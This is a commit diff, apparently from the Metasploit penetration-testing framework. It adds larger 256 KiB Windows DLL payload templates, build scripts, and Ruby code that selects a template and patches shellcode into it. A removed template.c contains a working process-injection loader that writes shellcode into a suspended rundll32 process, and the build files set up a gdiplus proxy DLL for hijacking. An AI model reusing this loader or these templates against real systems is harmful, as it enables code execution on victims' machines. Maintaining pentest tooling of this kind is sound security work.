Land #17594, Add larger DLL templates

This commit is contained in:
Grant Willcox 2023-02-15 19:35:37 -06:00
commit e7da4c4612
No known key found for this signature in database
GPG Key ID: D35E05C0F2B81E83
24 changed files with 89 additions and 188 deletions

View File

@ -0,0 +1,10 @@
# PE Source Code
This directory contains the source code for the PE executable templates.
## Building DLLs
Use the provided `build_dlls.bat` file, and run it from within the Visual Studio
developer console. The batch file requires that the `%VCINSTALLDIR%` environment
variable be defined (which it should be by default). The build script will
create both the x86 and x64 templates before moving them into the correct
folder. The current working directory when the build is run must be the source
code directory (`pe`).

View File

@ -0,0 +1,7 @@
@echo off
for /D %%d in (dll*) do (
pushd "%%d"
build.bat
popd
)

View File

@ -3,12 +3,13 @@
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib /entry:DllMain /subsystem:WINDOWS
rc /v template.rc
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 template.c /Fe:template_%1_windows.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.obj
del *.obj *.res
move *.dll ..\..\..

View File

@ -1,5 +1,6 @@
#ifndef SCSIZE
#define SCSIZE 4096
#endif
unsigned char code[SCSIZE] = "PAYLOAD:";
char szSyncNameS[MAX_PATH] = "Local\\Semaphore:Default\0";
char szSyncNameE[MAX_PATH] = "Local\\Event:Default\0";

View File

@ -0,0 +1,15 @@
@echo off
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
rc /v /fo template.res ../dll/template.rc
cl /LD /GS- /DBUILDMODE=2 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.exp *.lib *.res *.obj
move *.dll ..\..\..

View File

@ -1,24 +0,0 @@
#
# XXX: NOTE: this will only compile the x86 version.
#
# To compile the x64 version, use:
# C:\> call "c:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\vcvarsall.bat" amd64
# C:\> cl.exe -LD /Zl /GS- /DBUILDMODE=2 /link /entry:DllMain kernel32.lib
#
if [ -z "$PREFIX" ]; then
PREFIX=i686-w64-mingw32
fi
rm -f *.o *.dll
$PREFIX-gcc -c template.c
$PREFIX-windres -o rc.o template.rc
$PREFIX-gcc -mdll -o junk.tmp -Wl,--base-file,base.tmp template.o rc.o
rm -f junk.tmp
$PREFIX-dlltool --dllname template_x86_windows.dll --base-file base.tmp --output-exp temp.exp #--def template.def
rm -f base.tmp
$PREFIX-gcc -mdll -o template_x86_windows.dll template.o rc.o -Wl,temp.exp
rm -f temp.exp
$PREFIX-strip template_x86_windows.dll
rm -f *.o

View File

@ -1,6 +1,3 @@
#define SCSIZE 2048
unsigned char code[SCSIZE] = "PAYLOAD:";
#ifdef _MSC_VER
#pragma comment (linker, "/export:GdipAlloc=c:/windows/system32/gdiplus.GdipAlloc,@34")
#pragma comment (linker, "/export:GdipCloneBrush=c:/windows/system32/gdiplus.GdipCloneBrush,@46")

View File

@ -1,97 +0,0 @@
#include <windows.h>
#include "template.h"
/* hand-rolled bzero allows us to avoid including ms vc runtime */
void inline_bzero(void *p, size_t l)
{
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
*(q++) = 0x00;
}
void ExecutePayload(void);
BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
ExecutePayload();
break;
case DLL_PROCESS_DETACH:
// Code to run when the DLL is freed
break;
case DLL_THREAD_ATTACH:
// Code to run when a thread is created during the DLL's lifetime
break;
case DLL_THREAD_DETACH:
// Code to run when a thread ends normally.
break;
}
return TRUE;
}
void ExecutePayload(void) {
int error;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
DWORD prot;
LPVOID ep;
// Start up the payload in a new process
inline_bzero( &si, sizeof( si ));
si.cb = sizeof(si);
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
// ExitProcess(0);
ExitThread(0);
}
/*
typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
PVOID DllHandle,
ULONG Reason,
PVOID Reserved
);
VOID NTAPI TlsCallback(
IN PVOID DllHandle,
IN ULONG Reason,
IN PVOID Reserved)
{
__asm ( "int3" );
}
ULONG _tls_index;
PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL };
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 };
*/

View File

@ -1,3 +0,0 @@
EXPORTS
DllMain@12

View File

@ -1,18 +0,0 @@
LANGUAGE 9, 1
VS_VERSION_INFO VERSIONINFO
FILEVERSION 0,0,0,1
PRODUCTVERSION 0,0,0,1
FILEFLAGSMASK 0x17L
FILEFLAGS 0x0L
FILEOS 0x4L
FILETYPE 0x2L
FILESUBTYPE 0x0L
BEGIN
END
#define RT_HTML 23

View File

@ -4,6 +4,7 @@ if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 template.cpp /Fe:template_%1_windows_mixed_mode.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 /DSCSIZE=262144 template.cpp /Fe:template_%1_windows_mixed_mode.256kib.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS

Binary file not shown.

BIN
data/templates/template_x64_windows.dll Normal file → Executable file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
data/templates/template_x86_windows.dll Normal file → Executable file

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -530,7 +530,7 @@ require 'digest/sha1'
case opts[:exe_type]
when :service_exe
max_length = 8192
opts[:exe_max_sub_length] ||= 8192
name = opts[:servicename]
if name
bo = pe.index('SERVICENAME')
@ -541,18 +541,18 @@ require 'digest/sha1'
end
pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]
when :dll
max_length = 4096
opts[:exe_max_sub_length] ||= 4096
when :exe_sub
max_length = 4096
opts[:exe_max_sub_length] ||= 4096
end
bo = self.find_payload_tag(pe, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag")
if code.length <= max_length
if code.length <= opts.fetch(:exe_max_sub_length)
pe[bo, code.length] = [code].pack("a*")
else
raise RuntimeError, "The EXE generator now has a max size of " +
"#{max_length} bytes, please fix the calling module"
"#{opts[:exe_max_sub_length]} bytes, please fix the calling module"
end
if opts[:exe_type] == :dll
@ -671,6 +671,40 @@ require 'digest/sha1'
exe_sub_method(code,opts)
end
# self.set_template_default_winpe_dll
#
# Set the default winpe DLL template. It will select the template based on the parameters provided including the size
# architecture and an optional flavor. See data/templates/src/pe for template source code and build tools.
#
# @param opts [Hash]
# @param arch The architecture, as one the predefined constants.
# @param size [Integer] The size of the payload.
# @param flavor [Nil,String] An optional DLL flavor, one of 'mixed_mode' or 'dccw_gdiplus'
private_class_method def self.set_template_default_winpe_dll(opts, arch, size, flavor: nil)
return if opts[:template].present?
# dynamic size upgrading is only available when MSF selects the template because there's currently no way to
# determine the amount of space that is available in the template provided by the user so it's assumed to be 4KiB
match = {4096 => '', 262144 => '.256kib'}.find { |k,v| size <= k }
if match
opts[:exe_max_sub_length] = match.first
size_suffix = match.last
end
arch = {ARCH_X86 => 'x86', ARCH_X64 => 'x64'}.fetch(arch, nil)
raise ArgumentError, 'The specified arch is not supported, no DLL templates are available for it.' if arch.nil?
if flavor.present?
unless %w[mixed_mode dccw_gdiplus].include?(flavor)
raise ArgumentError, 'The specified flavor is not supported, no DLL templates are available for it.'
end
flavor = '_' + flavor
end
set_template_default(opts, "template_#{arch}_windows#{flavor}#{size_suffix}.dll")
end
# self.to_win32pe_dll
#
# @param framework [Msf::Framework] The framework of you want to use
@ -681,13 +715,8 @@ require 'digest/sha1'
# @option [String] :inject
# @return [String]
def self.to_win32pe_dll(framework, code, opts = {})
# Allow the user to specify their own DLL template
if opts.fetch(:mixed_mode, false)
default_exe_template = 'template_x86_windows_mixed_mode.dll'
else
default_exe_template = 'template_x86_windows.dll'
end
set_template_default(opts, default_exe_template)
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: flavor)
opts[:exe_type] = :dll
if opts[:inject]
@ -707,13 +736,9 @@ require 'digest/sha1'
# @option [String] :inject
# @return [String]
def self.to_win64pe_dll(framework, code, opts = {})
# Allow the user to specify their own DLL template
if opts.fetch(:mixed_mode, false)
default_exe_template = 'template_x64_windows_mixed_mode.dll'
else
default_exe_template = 'template_x64_windows.dll'
end
set_template_default(opts, default_exe_template)
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: flavor)
opts[:exe_type] = :dll
if opts[:inject]
@ -724,7 +749,7 @@ require 'digest/sha1'
end
# self.to_win32pe_dll
# self.to_win32pe_dccw_gdiplus_dll
#
# @param framework [Msf::Framework] The framework of you want to use
# @param code [String]
@ -734,18 +759,11 @@ require 'digest/sha1'
# @option [String] :inject
# @return [String]
def self.to_win32pe_dccw_gdiplus_dll(framework, code, opts = {})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x86_windows_dccw_gdiplus.dll")
opts[:exe_type] = :dll
if opts[:inject]
self.to_win32pe(framework, code, opts)
else
exe_sub_method(code,opts)
end
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: 'dccw_gdiplus')
to_win32pe_dll(framework, code, opts)
end
# self.to_win64pe_dll
# self.to_win64pe_dccw_gdiplus_dll
#
# @param framework [Msf::Framework] The framework of you want to use
# @param code [String]
@ -755,15 +773,8 @@ require 'digest/sha1'
# @option [String] :inject
# @return [String]
def self.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x64_windows_dccw_gdiplus.dll")
opts[:exe_type] = :dll
if opts[:inject]
raise RuntimeError, 'Template injection unsupported for x64 DLLs'
else
exe_sub_method(code,opts)
end
set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: 'dccw_gdiplus')
to_win64pe_dll(framework, code, opts)
end
# Wraps an executable inside a Windows .msi file for auto execution when run